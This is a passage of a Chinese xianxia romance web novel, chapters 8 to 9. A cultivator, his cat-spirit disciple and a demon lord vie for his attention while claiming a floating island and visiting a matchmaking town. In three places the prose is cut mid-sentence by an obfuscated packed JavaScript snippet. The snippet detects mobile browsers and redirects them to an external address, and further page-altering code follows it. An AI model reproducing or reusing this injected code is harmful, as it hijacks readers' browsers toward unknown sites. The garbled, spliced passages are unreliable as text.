晏烛也懵了,眨个眼的功夫就看见阿福的剑被空浮捏住了。 眼看空浮皱眉,晏烛连忙上去拦在两人中间:“你们忽然干什么呀?”他说着看向阿福,“你怎么动不动就拔剑,他是我朋友。” 空浮闻言笑了一声,语气带了点挑衅的味道:“太弱了。” 阿福脸色一沉,眼中泛起杀气,但看见晏烛不悦的脸色后又立刻敛了,用剑首轻轻碰碰晏烛的腰,小声道:“师父,我可以保护你的。” 声音并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234889|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不委屈,甚至说得上坚定,却越发戳晏烛心巴。 他看空浮的眼神一下就变了。 “不准你说我徒弟坏话。”晏烛道,“他才多大,能修到这个境界已经很厉害了!” 空浮顿时噎住,看了一眼那低着头的小子,又看看气鼓鼓的晏烛,只能说道:“我就是想帮你点忙。” “随你。”晏烛抱起手,警告地看了他一眼,“不准再欺负我徒弟” 说完便拉上阿福循着地上的线往前走,空浮见状立刻跟上去,和他并肩走。 于是阿福便慢了一步,他这会正在想事情,眉头拧得像能夹死苍蝇。 晏烛到底什么时候认识空浮的?认识多久了?为何从未和他提起? 这些话如果是闻肃尘大约是不会问的。 “师父。”阿福走到晏烛身旁,小声问他,“你知道他是谁吗?” 晏烛点头:“自然知道,我的七鬼花就是他给的。” “那你还和他往来。”阿福道,“若是师伯知道……” “他才不会知道。”晏烛得意道,“焚雪峰的阵法我熟着呢,空浮来玩的时候我就偷偷改掉,小师兄发现不了的。” 阿福听得脑袋嗡嗡:“那阵法是特地布下来保护你安危的,你怎么能随意更改。” “空浮又不会害我。”晏烛奇怪地看了阿福一眼,“你这会倒是像小师兄了。” 阿福抿了一下唇,声音弱了一些:“我只是担心师父。” 晏烛看了一眼身旁笑眯眯的空浮,叹了口气,只好跟阿福解释:“三百年前,我救过他一命。” 阿福:“……” 三百年前,那不就是他盗取穿云门宝物那会的事,当时穿云门发出通缉令,重金悬赏空浮的人头和被他偷走的宝物,当时许多人都在找,明心宗也有不少弟子在帮忙,却始终找不到踪影。 结果人居然在焚雪峰。 想问的话太多,阿福实在不知道从哪开口,最后只能心情复杂地看了晏烛一眼,然后走到两人中间,跟条分界线似的将两人隔开。 晏烛倒是无所谓,但空浮却不大乐意,瞥了这小孩一眼,似笑非笑道:“你倒是关心你师父。” 阿福瞥了他一眼:“毕竟我和你不同,想见师父不需要偷偷摸摸。” 空浮嘴角一抽:“我什么时候偷偷摸摸了。” 阿福道:“难道你敢正大光明出现在焚雪峰?” 空浮沉默了一下,还没来得及开口,就听见晏烛乐呵呵笑起来:“他当然不敢,他敢露脸,肯定会被小师兄打成猪头。” 阿福便也笑了一声。 很轻,不带什么情绪,但就是莫名有点嘲讽的味道,听得空浮牙痒痒。 他倒是想反驳一下,但这是事实。 换做别人他还敢撂下大话,但闻肃尘他的确打不过,鬼知道那个人现在强到什么境界了。 不过无所谓,晏烛也不是看实力的人,不然也不会和离。 他理了理领子,重新拾起脸上的笑,声音掐得温柔似水:“你知道附近有一个灵犀镇吗?” 晏烛点头:“好像听其他弟子说过,他们说那个地方也被人叫月老镇。” 空浮点头:“许多单身的人都会去那镇子寻姻缘,你要不要也去看看?” “没什么好看的。”不等晏烛回答,阿福便接过他的话,“去那的多是些求露水姻缘的薄情人,我师父定是看不上的。” 晏烛点头:“两个人在一起,专一很重要。” 阿福看向空浮,很轻地挑了一下嘴角。 空浮立刻解释道:“但好姻缘也促成不少,不然也没有那么多人去。” 晏烛点头:“那去玩玩也好,方才我还和阿福说要去找几个嘴甜会哄人,正好去看看,反正我也不真诚,找几段露水姻缘正正好。” 空浮跟阿福两人表情同时僵住。 不是,他们不是那个意思。 8. 第 8 章 两人都想给对方上点眼药,结果没想到会搬石头砸自己脚,顿时都有点心梗。 空浮反应快要稍快一点,当即顺着他的话说下去:“外面那些男人有我好?” “那不一样。”晏烛道,“他们新鲜。” 空浮:“……” 看他吃瘪,阿福心情总算好了点,垂眼想了想,转头对晏烛道:“我也跟师父一起找。” 晏烛闻言表情顿时一僵,连忙道:“小孩子不要学坏。” “我已经不是小孩子了。”阿福拉住晏烛的手,低着头,什么也没说,但那姿态又像说了什么。 晏烛一下心软软,声音放软了:“好,我们阿福不是小孩了,那带你去玩,但不准乱来。” 阿福立刻点头,晏烛便笑眯眯地摸他脑袋。 空浮在旁边看得直皱眉。 他还以为晏烛跟闻肃尘和离是个很好的信号,结果又冒出来一个小崽子。 他走过去,看了阿福一眼,状若无意道:“你跟着小烛很久了?” 阿福瞥他一眼,没理他,倒是晏烛答了:“很久了,得有两三百年了吧。” 听见这话,两人都不着痕迹皱了一下眉。 空浮道:“妖修化形也是会长大的,我看你怎么一点不长。” 晏烛闻言正要答,就被阿福抢了话:“可能是天残吧。” “没有的事。”晏烛立刻道,“阿福会长大的。” 依旧是温柔的、哄着他的语气,是对待可爱徒弟的语气,也是对待可爱猫猫的语气。 空浮闻言脸上立刻划起一个笑:“我略通医术,给你看看?” 阿福却不买账,漠然拒绝:“不必,略通就是半吊子,师伯已经找最好的医修给我看过了。” 空浮眯起眼:“多一个人看,就多一份希望,魔界的手段跟你们总有些不同。” 但阿福依旧不肯,甚至往晏烛那边躲了一下。 晏烛见状立刻道:“不想看就不看了。”他说着瞪了空浮一眼,给他传音,“阿福因为天残的事已经够烦心,你不要说他了。” 空浮顿时心梗。 他之前以为阿福是情敌,现在却忽然有种心上人二婚带娃但娃不喜欢自己的心塞。 想到这,他忽然想到什么,问晏烛:“我记得你说过不会使剑,他刚刚用得挺好。” 晏烛点头:“小师兄教的。” 自此空浮明白了。 敢情是还惦记着亲爹,不想要后爹,搁这做细作呢。 空浮还琢磨着怎么处理的时候,他们眼前的景色已经起了变化。 听见晏烛“哇”一声,两人都往前看去,就见弥漫的魔气后居然是一片白茫茫的青绿山林,两边像是被什么东西划开,一侧是仙境,一侧是地狱,界限分明地各自生长着,很是奇妙。 晏烛看得整个人都兴奋了:“这岛也太好了!什么都能种!!” 他开心地穿过那条线,一进去就被浓郁的灵气呛了一下,但也只是那么一下的事,很快他跟掉进粮仓里的小老鼠似的,这里掏掏,那里挖挖。 阿福只好提醒他:“把岛收起来就好了。” 晏烛这才反应过来,把手上的灵植塞进乾坤戒,火急火燎地往岛中心跑。 这岛虽然大,但用点小法术跑起来还是快的,三人很快就来到岛的最中心,那里居然是一汪灵泉。 晏烛眼睛顿时亮了,跑过去试了试,点头道:“好东西,很适合酿酒。”他一边说一边拿下腰间的葫芦一扔,“砰”一声,梨花便出现了。 它先是飞到晏烛肩上,跟他蹭蹭脸颊,这才细细软软地叫他:“小烛小烛。” 晏烛点头,指了指那汪灵泉:“收起来。” 梨花立刻“噢”了一声,晃悠悠地飘到灵泉上方,手往上一举。 这回出现的却不是葫芦,而是一个不带盖的方形盒子,如果再仔细看,便能发现发现那盒子的一面还有个把手。 是个抽屉。 梨花把抽屉往水里一舀,舀了满满一盒水端到晏烛面前,又细细软软地叫他:“小烛小烛。” 晏烛伸手去接,但还没碰到,那抽屉便“碰”一声整个消失了。 看到晏烛愣住,梨花顿时捂着肚子笑起来,它笑也不像人那样是“哈哈”笑,而是发出“咕叽咕叽”的声音,像是小鸟,又像是一块刚打好的年糕。 晏烛便伸手去扯它的脸,于是他的脸也跟热乎乎的年糕一样被扯得长长的。 梨花两只手立刻跟小翅膀似的疯狂扇动着往后退,但脸颊被扯住实在跑不掉,干脆“砰”一声又变回了一块小小的吊坠,落到了晏烛手心。 晏烛晃了晃那吊坠,也没再管它,重新挂回腰上,拿出了闻肃尘给自己的法器。 空浮见状立刻道:“我去吧,保证给你办好。” “我自己……” “不用了。”阿福接过话,“这种灵泉,对魔修来说还是不舒服吧?” 空浮笑了:“我又不是那些修为没半点的毛头小子,一点灵气入体就受不了。” 阿福皱眉看他:“你这是在影射我?” 空浮哑然:“不是……” “我下去。”阿福说着,也不再立绘空浮,直接接过法器,在晏烛拒绝的声音中“扑通”往水里跳。 晏烛立时扭头看空浮:“你好端端激他做什么?” 空浮:“……” 他这头在仓皇解释,明心宗那头闻肃尘倒是松了口气。 放法器是个轻松活,不需要盯着。 他便趁着这个机会将手头比较麻烦的几份文书批了,这才抬眼看向正在吵架的四个弟子,他们并不是一个峰的,但组了个小队一起出去历练,前些时日在秘境中因为资源分配闹了矛盾,当时没解决,就那么放着,于是矛盾有加无已,最后闹到其中两人在门中动手,这才被带了过来。 这种事是违反门规的,但惩罚前的调停也算他的工作之一,只是这四人显然没有和解的意思,到了殿前又是一言不合吵起来。 闻肃尘听着,目光落到正在劝架的人身上,他身量不高,说话声音也细,站在中间推着两人的力道说有有,说无也无,上一刻跟左边的人说“师兄是我们所有人中修为最高出力最多的,多分一点很正常,只是师姐炼丹耗材颇多,多拿一点材料就能多省一点钱,不愿让步也能理解”,下一刻就跟右边的人说“师姐给我们的丹药都是上品,就算拿到坊市卖也不便宜,师兄是不懂才当糖丸吃的,要是师兄知道了,肯定也不会跟师姐抢那两株仙果的”。 然后两个人吵得更凶了,完全忽略那个出力最少便宜却占最多的人。 闻肃尘若有所思。 等阿福从水里出来,晏烛已经在岸边等着了。 他抬头看了一眼浮岛上方展开的一个又一个阵法,确定没问题后才跳上岸,落地的瞬间又化成猫,用力甩了甩身体,甩掉身上的水后整只猫都炸成了一只刺球。 晏烛立刻伸手过去,手心带着灵力从猫咪脑袋摸到尾巴,湿漉漉的小猫全身瞬间干了,又变得蓬松软乎。 晏烛伸手撸了两把,然后将猫抱起来,揉揉它的脑袋,夸奖道:“你做得很好,不过小猫咪还是不要下水了。” 阿福用脑袋蹭他的下巴,说:“这泉水灵气太足,就算空浮修为高,总也有些影响,他去不得,我做徒弟怎么能让师父去。” 空浮眼角一抽,皱眉瞥了眼晏烛怀里的猫,总觉得闻到一股淡淡的茶味。 他走过去,笑眯眯伸手搭上晏烛的肩膀:“恭喜,得了这么一座合心意的岛,你要是喜欢这种,以后我……” 话没说完,一只毛茸茸的爪子伸过来把他的手拨开,紧接着一颗毛脑袋取而代之。 空浮看着还夹着声音在哄猫的晏烛,感觉喉咙有点堵。 这小猫崽子。 空浮倒是想讨它喜欢,但猫么,除了鱼他一时半会也想不到能用什么收买,可这种生鲜他手头的确没有,于是在乾坤戒里翻了翻,最后翻出来一个漂亮的铃铛递到那双金色的猫眼前晃了晃。 随着“叮铃铃”的声音响起,空浮笑眯眯地凑过去,也夹着声音问道:“要不要玩?” 阿福立刻扒拉住晏烛的脖子,扭头发出一声细弱的“喵呜”。 晏烛便看了那铃铛一眼,皱眉:“你怎么拿摄魂的东西给它玩,它会害怕的,快收回去。” 空浮真没招了,一边把铃铛往回收一边给属下传信让他们去准备各种河鲜海鲜,只要是猫有可能喜欢的东西都去弄来。 至于现在,没办法讨好这只刺猫,他只能将重点重新转回晏烛身上。 空浮在几个魔尊中算是脾气比较好的那一个,温柔风趣又大方,喜欢他的修士多得很,他也很清楚要怎么把握距离,暧昧的同时又不会让对方反感,回程的路上他也一直在这么和晏烛搭话。 果不然,晏烛对他的刻意接近适应良好,就是那只猫崽子很烦人。 在他再一次“不经意”碰到晏烛的手时,阿福终于变回原形,跟块盾似的横在了两人中间,每次他要伸手的时候,阿福总会先他一步。他碰手,阿福就去牵手,他碰肩,阿福就给晏烛拍拍肩上的花瓣,他想碰头发,阿福干脆拉着晏烛走开了。 而晏烛全程都把这当小猫爱玩的天性。 小猫咪做什么都是正确的。 空浮要气死了。 这个闹剧直到他们回到岛边看见祁然音才停下来。 三人还没走近,一道带着杀气的术法就朝空浮袭来,空浮知道对面是谁,也不好还手,只能躲开,但躲得不够快,手臂上还是出现了一道长长的血口。 晏烛吓了一跳,连忙出声阻止:“然音!是自己人!” 祁然音手中玉扇未收,但也没再攻击,警惕道:“你怎么会跟他混到一起?” 晏烛只好把事情简单说了。 他救过魔修的事祁然音自然听过,但也没想到这人来头这么大,只能一边在心里骂晏烛乱来一边跟空浮道歉:“是我莽撞了。” 空浮摆摆手,无奈地看了一眼自己的手臂,说:“小伤罢了。” 晏烛也有点不好意思,连忙道:“然音也是担心我。”他说着从乾坤戒中拿出一瓶药来递给空浮,“这个给你,就是用你给的七鬼花做的,很好用。” 空浮眼中便带了笑,接过药瓶轻声道了谢,目光再一看阿福,见他脸都黑了,心情就更好了。 不过看晏烛关切愧疚的样子,又有点后悔,他刚刚应该硬受那一下的,说不准晏烛会来扶他呢? 这个念头没几息就被他按灭了。 因为几人刚上船,阿福就提醒晏烛把岛收起来。 晏烛没反应过来:“不是布下阵法了吗?以后别人就不能随便上去了。” 阿福道:“还要用神魂认主。” 晏烛:“我没做过。” 阿福拉过他的手,抬手在他食指上划了一道小口子:“以血为引。” 晏烛闻言便明白过来,他境界还不够,没办法分割神魂,只能用这种办法,于是听话地调动元神,跟着阿福的动作在虚空总画下一个阵法。 最后一笔完成的瞬间,浮岛上空的阵法就像受到呼唤一般,也发出光来。 那光以极快的速度向外蔓延,直到将整座岛包围,变成一个巨大的光球后才又渐渐缩小,直至缩成一个拳头大小的球,缓缓飞到晏烛面前。 晏烛伸出手去,那球便慢慢落到他手上,覆盖其上的光也一点点消失,露出底下的模样。 透明的琉璃球里封着一座缩小版的浮岛,如果仔细看,还能看清岛上的每一处细节,看清花,看清树,看清那一汪清澈的灵泉。 晏烛看得眼睛亮亮:“小师兄好厉害。” 看他这么开心,阿福也跟着弯起眼,解释道:“师伯研究了很久才做出来的,天底下只有这一个。” 空浮看得也是眉心一跳,光顾着那只小猫崽子,都忘了这个最大的敌人。 就算两人真像晏烛说的那样合不来,但闻肃尘处尊居显,富可敌国,最重要的是他很强。 虽然俗气,但人总是慕强的,而闻肃尘的强,甚至强得难以匹敌。 像这样一个可以将整座浮岛收纳起来的法器,需要的不仅仅是阵法上的修为,还有大量的耐心和尝试,以及庞大得让人无法想象的灵力,这东西估计闻肃尘已经准备了很久,为的就是讨晏烛开心。 看晏烛现在的表情也能看得出来,他的确非常非常喜欢这个东西。 而这个东西又极难仿制。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234890|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是只属于闻肃尘——至少目前只有闻肃尘能做出来的礼物。 空浮现在怀疑那只猫崽子就是收了闻肃尘好处特地来盯着晏烛的。 恐怖的对手。 但晏烛还是决定跟他和离了。 想到这,空浮心情又好了起来,正想过去跟晏烛说两句话,就见祁然音直接扑了上去。 “小烛,你这个也太厉害了!”祁然音一把挽住晏烛的手,另一只捏了一下晏烛的脸颊,语气亲昵,“你跟仙尊复婚的时候我给你做陪房吧,那么多钱,你怕是花不完。” 晏烛笑着拍开他的手:“瞎说什么,先进去,我们去灵犀镇玩几天。” 一听这个名字,祁然音就翻了个白眼:“就是个噱头罢了,你不会指望在那找续弦吧?” “去玩玩嘛,我还没去过呢。”晏烛说着,拉上他回了飞舟。 空浮紧随其后,看着这豪华的船舱,再看看前面贴着耳朵在说悄悄话的两人,这像极了爱情的画面让他陷入了沉思。 难怪晏烛对他那些“不经意”的暧昧小动作接受良好,他还以为是自己有机会,但现在他明白了—— 那些小动作对晏烛来说并不暧昧。 同样处在朋友的位置,跟祁然音那些动不动就又抱又蹭的亲密举动比起来,他那些小动作简直称得上彬彬有礼,从头到尾在意的只有那只猫崽子。 而且……闻肃尘居然能忍受晏烛身边有一个这么没分寸感的朋友? 看着祁然音近得像要亲上晏烛的动作,空浮眉头皱得死紧,甚至想冲上去把人撕下来换成自己。 但这点情绪他掩藏得很好,只在祁然音笑着去揽晏烛腰的瞬间流露出一点—— 然后被祁然音捕捉进了眼里。 祁然音跟没骨头似的靠在晏烛肩上,软声问道:“空浮喜欢你?” 晏烛“嗯?”了一声,犹豫了一下,摇头道:“就是有点好感吧,毕竟我救了他。” 因为被救了,所以生出好感,这种事在话本里非常常见,晏烛并不觉得奇怪,也不觉得是什么特别的感情。 “那你还让他跟着你?”祁然音道,“不怕他的小心思?” “喜欢我的人那么多,我总不可能一个个赶走。”晏烛笑道,“再说了,小师兄也不会生气。” 祁然音挑眉:“那你不赶他,是因为闻肃尘,还是因为你自己?” 他这话问得含糊,但晏烛却能听得明白,只是他答不出来。 刚和闻肃尘成亲的时候,他的确会主动避嫌,把那些对自己流露出好感的人全部拒之门外,但后来闻肃尘告诉他,他不必那么做。 他们和那些因为相爱走到一起的道侣到底是不同的。 这个道理晏烛自己也明白,只是他依旧有很长的一段时间依旧倔强地守着那条线,那条他觉得夫夫该守着的线。 但不知道从什么时候开始,那条线逐渐变得模糊起来了。 祁然音是在问他,他这么做,有没有一部分原因,是想气闻肃尘。 晏烛说不清楚,但他觉得应该是没有的。 闻肃尘可不会因为这种小事不开心。 或者更准确点说,闻肃尘从来没有因为他做的的任何事不开心过。 可能在闻肃尘心里,自己始终就是一个需要他负起责任的小师弟罢了。 “少八卦。”晏烛推开祁然音,朝阿福招招手,等他变回猫咪后便抱着他回了房间。 但没了祁然音那个八卦精,还有一个好奇心旺盛的阿福,他趴在晏烛怀里,问他:“师父希望师伯生气吗?” 晏烛垂眼看他:“你个小猫咪问这些做什么?” “学习。” 阿福解释道,“将来有喜欢的人,引以为戒。” 晏烛被这话逗笑了,将他放到桌上,伸手摸了摸他的毛脑袋,柔声道:“你有这张会说话的嘴就够了。” 阿福用脑袋蹭了一下他的手心后又站起来用前爪扒拉晏烛的衣服,追问道:“那师父希望师伯生气吗?” 他总这样,只要晏烛不表现出抗拒,就会对问出口的问题追问到底。 晏烛已经习惯了他这毛病。 猫么,你越是不让它知道的东西,它越是在意。 于是晏烛只好解释道:“我的确说不明白,我只知道,小师兄要是生气了,说明他在吃醋,而吃醋是在意的表现。”他说着,忽然弯起眼,用手指点了一下阿福粉粉的鼻尖,“就像你这小猫总去找空浮的麻烦一样。” 迫不及防被点出小动作,阿福整只猫都僵了一下,然后用毛茸茸的脑袋去拱他的下巴。 晏烛顿时乐了,捏捏他的耳朵,哄道:“好了,我不说空浮的事还不行吗?” 阿福这才收回脑袋,又盯着晏烛看。 晏烛疑惑地看回去,但对视几息,见它没有别的话要说,便只当是小猫咪的心血来潮,不再管它,转身去衣服。 阿福则蹲在桌上继续盯着屏风后的人。 他其实想问晏烛,难道不觉得为了一点小事吃醋的男人显得斤斤计较,显得小气,但他不用问也知道晏烛的答案。 晏烛从来不在意这些。 他好像只能看见身边人的优点,每一个和他关系好的人在他眼里,似乎都是完美无缺的,就算是这种不讨喜的地方,在他眼里也可以用另一种说法去解释,变成可爱的、讨他欢心的地方。 但不好就是不好。 阿福趴到桌上,闭上眼睡了。 等晏烛换好衣服出来,它已经睡得像昏迷了,被戳了屁股也没反应。 于是他把猫抱起放到床边的窝里,这才出门去找祁然音。 灵溪镇离明心宗有段距离,他们在飞舟上呆了六天才到,刚落地呢,就闻到了一阵桃花的香气。 虽然叫灵犀镇,但大小其实堪比一座城,四处种满了粉色的桃花,还挂了粉色的绸缎轻纱,连各家铺子的招牌都涂成了嫩嫩的粉,似乎想通过颜色给来这里的每一个人一点心理暗示,让他们一踏进这里就生出想去找个伴的冲动。 晏烛一进镇子,看见这满眼的粉色,忍不住“哇”了一声:“这就是月老镇吗?真的好粉!” 话音刚落,就被几个男女围了起来,每人手上都拿着一束桃花递到他面前。 9. 第 9 章 送花是灵犀镇的习俗,就像掷果投瓜那样,只是这边用桃花替代,同样是表明喜爱的意思。 看着那些人手中娇艳的花,阿福跟空浮表情顿时都变了。 只是空浮要更沉得住气一点,而阿福已经直接变成猫跳进晏烛怀里,冲那些人飞耳朵哈气了。 晏烛看徒弟这反应,忍不住弯起眼,抬手摸了摸它的脑袋,也没去接那份礼物,而是抬手一扫,那些桃花就随着他的袖子一起落到地上,只剩下光秃秃的树枝。 就像把那些突然奉上来的心意全部打落到了地上。 祁然音也在旁边笑嘻嘻道:“落花有意,流水无情呐~” 但那些人似乎并没有因此被打击到,甚至不知从哪又掏了一束桃花递上前来,只是这次给的是祁然音。 祁然音倒是没拒绝,而是伸手将所有花都收了下来,然后摆摆手:“都散了吧,我们是一起来的。” 语气倒是没那么轻佻,甚至有点宣誓主权的味道,于是所有人都识趣地走了,毕竟来这里的也不是每个人都是来找姻缘的,也有一些有情人会去月老庙求白头偕老,去搅扰就有些不识趣了。 等人都走了,祁然音才拉着晏烛上街。 灵溪镇上是没有居民的,有的只有一家又一家的铺子,衣食住行应有尽有,还有许多在外面买不到的各种特产。 “这些客栈各有特色,你挑一家。”祁然音伸手点了几家店,“环境都不错,就当开福袋,住两天,不喜欢再换。” 晏烛目光在他点的几家店上睃巡了一圈,最终落到了其中一家上。 千树雪。 在一堆什么鹊桥仙、桃花引、蝶恋花之类的店名中,这个名字有点格格不入。 是满城桃花中的一株梨树。 桃溪惆怅不能过,红艳纷纷落地多。闻道郭西千树雪,欲将君去醉如何。① 像独一无二的邀请。 晏烛指着那家客栈:“就它了。” 祁然音却有些意外,挑了一下眉:“你居然会选它?” 晏烛疑惑:“怎么了?这家客栈不好?” “不是。”祁然音道,“不太像你的风格。” 晏烛从来都喜欢艳丽又花哨的东西,无论是衣服还是首饰,家具或者车马。 但偏生闻肃尘是个极其寡淡的人,他对白色情有独钟,无论是衣服还是家具,成日把自己捯饬得像守灵的大孝子,当初焚雪峰上的房子建好时更是造得像灵堂,是后来晏烛又往里加了不少东西。 他没有碰闻肃尘的任何东西,只是在原有的装修上不断往上加,就像他们浴池旁那一盏又一盏灯,分明挂着漂亮的珠穗,但原本的灯罩却无一点颜色花样,看上去有些不伦不类。 也像他们两人的关系一样。 “我喜欢梨花。”晏烛道。 祁然音便想起来,他的本命法宝就叫梨花。 他正想说原来如此,就听晏烛又说:“我想到小师兄的剑。” 闻肃尘的剑和他本人一样有名,叫醉袖。 那把剑通体雪白,有极精致繁复的花纹和镂空的明珠,远看简约到极致,近看又花哨得不像他会用的剑。 没人知道那把剑是谁打造的,也不知是用的什么材料,只知道是一把极厉害的仙器。 晏烛解释道:“当年拿到那把剑的时候,小师兄让我给它起个名字,但我并不擅长起名。” 不然他也不会给自己的法器取名梨花,因为给它取名时,他正好看见了漫天的雪,像是春日的梨花纷纷扬扬落,但等他追过去,却只见到闻肃尘站在刚抽芽的大树下,手中握着还未取名的剑。 于是他当时就决定了:“我的葫芦以后就叫梨花。” 闻肃尘听见他的话,很轻地点了点头,旋即朝他走来,将那把雪白的剑递到他的面前,说:“它的名字。” 他说话很少,有时候甚至有点莫名其妙的,但晏烛能听懂。 闻肃尘想让他给那把剑起一个名字。 他当时觉得梨花也很适合那把剑,但那已经是他的法器了,于是他摇摇头,说:“它是你的剑了。” 闻肃尘便没有再说话,只是盯着那把剑许久,久到晏烛以为他入定了,他才说:“醉袖。” 粉淡香清自一家,未容桃李占年华。常思南郑清明路,醉袖迎风雪一杈。② 和梨花是一对的。 祁然音还是头一次听说这件事,有些惊讶:“居然是这个意思,你知不知道很多人都猜这个名字是炼器师起的,毕竟这实在不像仙尊的风格。” 晏烛看他:“你觉得他是什么风格的?” 这倒问倒祁然音了。 他虽然和晏烛关系好,但跟闻肃尘交集其实不算多,偶尔在焚雪峰见面,闻肃尘也只是冲他点个头,所以他对闻肃尘的印象都源于传言,源于晏烛对他的评价。 强大,冷漠,寡言,以及……无趣。 这样一个人会给自己的剑起一个什么样的名字呢? 祁然音想了一会,说:“无名?” 他说完,自己都笑了。 晏烛也笑:“的确是他的风格。”他说着拉上祁然音就往千树雪去。 店里头的装修和他想的也差不多,到处挂满白色的轻纱,连木头都刷上了白漆,好像屋里下了雪。 晏烛要了四间上房,结果阿福却不肯,非要改成三间,还说:“我就睡地上!” 晏烛自然不可能让他这么做,但阿福却变成原形站在柜台上拦着他付钱的手,一副他不松口就不让路的气势。 好在老板反应快,说店里也有供妖精睡的床,一会添一张在房间里,这才让两人退步。 等晏烛跟着伙计到了房间,却被眼前的景色干沉默了。 外头分明是一水的白,怎么到这客房忽然就红起来了。 红也就罢了,还不是完全的红,而是红白对半,一边依旧是仙气飘飘的白色,另一边却是热闹喜庆得好似婚房的红色,怎么看怎么古怪。 他看向伙计:“这是什么?” 伙计立刻殷勤地给他解释,说来这的客人大多是些情人,虽然冲着他们店这独树一帜的特色入住,但也需要一点谈情说爱的氛围,这白色虽好看,但未免太过清心寡欲,所以老板就想出了这么个设计。 晏烛听得一阵窒息。 他说:“像红白事打擂。” 伙计估计也不是第一次听人这么吐槽,只是笑了笑,说:“那也是个罕见的体验不是?” 晏烛便不说了。 这种诡异的设计如果不是来这里,他的确一辈子不可能住上。 晏烛当即抱着阿福住了进去,并叫了一桌子菜。 这家酒店的吃食跟酒水都不错,晏烛一边吃,一边跟其他人商量要去哪玩。 祁然音想了想,笑道:“不然去湖上玩,画舫上总有些打发时间的东西,等晚上了有灯会,不过要说最值得去的,应该还是月老庙了。” 晏烛想都没想:“听你的。” 于是几人吃完便往湖的方向去。 湖离得倒是不远,奈何一出门晏烛就被门口花里胡哨的铺子,扎进去就是买买买,买完一家又一家,于是原本短短的路程被无限延长,等他们到地方时都是一个时辰后了。 祁然音说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234891|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的画舫的确很大,不过不靠岸,想上去要么自己飞过去,要么搭船。 晏烛秉着来都来了的心思,跟他们一起上了一艘小船,船家是个热情的大哥,一边划一边还给他们介绍这灵溪镇的历史和近期一些八卦。 据说当年有一对师徒相恋,背德的感情引起众怒,宗门要清理门户,他们一路逃,逃到一座浮岛上,其中一人力竭濒死,另一人无法舍下爱人,选择留下和他同生共死。两人真情感动月老,他下凡为二人赐福,还赶走了追杀他们的人,两人感念月老恩情,便在岛上修了一间月老庙。有人听说这件事,便来这求姻缘,发现很灵,于是一传十十传百,渐渐传出名气,这才有了现在的灵犀镇。 晏烛听着这貌似感人的传说,评价道:“像商家骗钱的噱头。” 船家乐呵呵笑了几声,说那也传了几百年,真假不知道,就当听个乐子,又和他说起别的。 比如有对小情人来玩,却被算出两人不是正缘,两人都不信还把人摊子砸了,结果没过几天,男子就遇到自己的正缘,可谓一见钟情二见许终身,两人仿佛天雷勾地火很快就凑一起了,女子知道后怒不可遏,把两人给打了,三人闹得不可开交。 结果来调解的是那女子的正缘,两人亦是一见如故,这样一闹,那男子又咽不下这口气,于是也把两人打了,事情从三个人的闹剧变成四个,到现在还时不时会在街上打起来。 又比如有个人四百年前来到镇上,去月老庙求姻缘,月老告诉他,姻缘就在眼前,于是他天天在镇上等,每有一个人来就要去问一句,问了四百年,到现在还没找到他的姻缘,已经成了镇口一道有名的风景了。 晏烛听得津津有味:“我们来的时候怎么没碰上?” “公子这样有伴的人,怎么好问。”船家笑呵呵解释道,“他以前倒是不在意这些,经常被人打成猪头,后来问错人,惹了一个脾气不好的剑修,让人追着杀了几年才老实。” 晏烛:“……” 提到剑修,他总觉得八成是明心宗的。 他扭头看向祁然音:“是不是剑修脾气都不大好?” 祁然音闻言笑道:“你才是明心宗的,这话不该问你?” 于是晏烛看了一眼身旁正盯着水的猫咪,说:“阿福脾气就很好,小师兄脾气也很好。” 祁然音:? 他还是第一次听说闻肃尘脾气好。 但仔细想想这话是晏烛说的,又合理了。 一行人作者小船慢悠悠荡当画舫边上,有人看见了立刻上来招呼,几人一上船,就听见里头传来鼓掌的声音。 晏烛立刻好奇地跟进去,发现里头正好在演一出幻术织就的戏,看那如梦似幻的场景,应该还是一出大戏。 “好像才开始。”晏烛一边说着,一拉上祁然音就往前头跑,祁然音一边喊他慢点,一边问殷勤跟在后头的伙计这演的什么。 但伙计没说,只是眉飞色舞表示这是这两天刚上的新戏,只有这能看到,很是火爆,您看了一定喜欢。 一句话让晏烛越发好奇,挑了个靠前的位置坐下,又要了些瓜果零嘴便兴致勃勃地看起戏台上的演出。 两个男人一起站在缤纷落花中,身上穿着蓝白衣裳,其中一人腰间还挂着一把白色的剑。 有些眼熟。 晏烛怀疑是自己想多了,正想转头问祁然音,就听见有一个演员缓步走出,朝男人娇声娇气唤了一声“降雪仙尊”。 晏烛表情顿时僵在了脸上。 他再看看另一个人,发现那人腰上的确挂着一个葫芦坠子。 搞了半天,主角竟是我自己? 10. 第 10 章 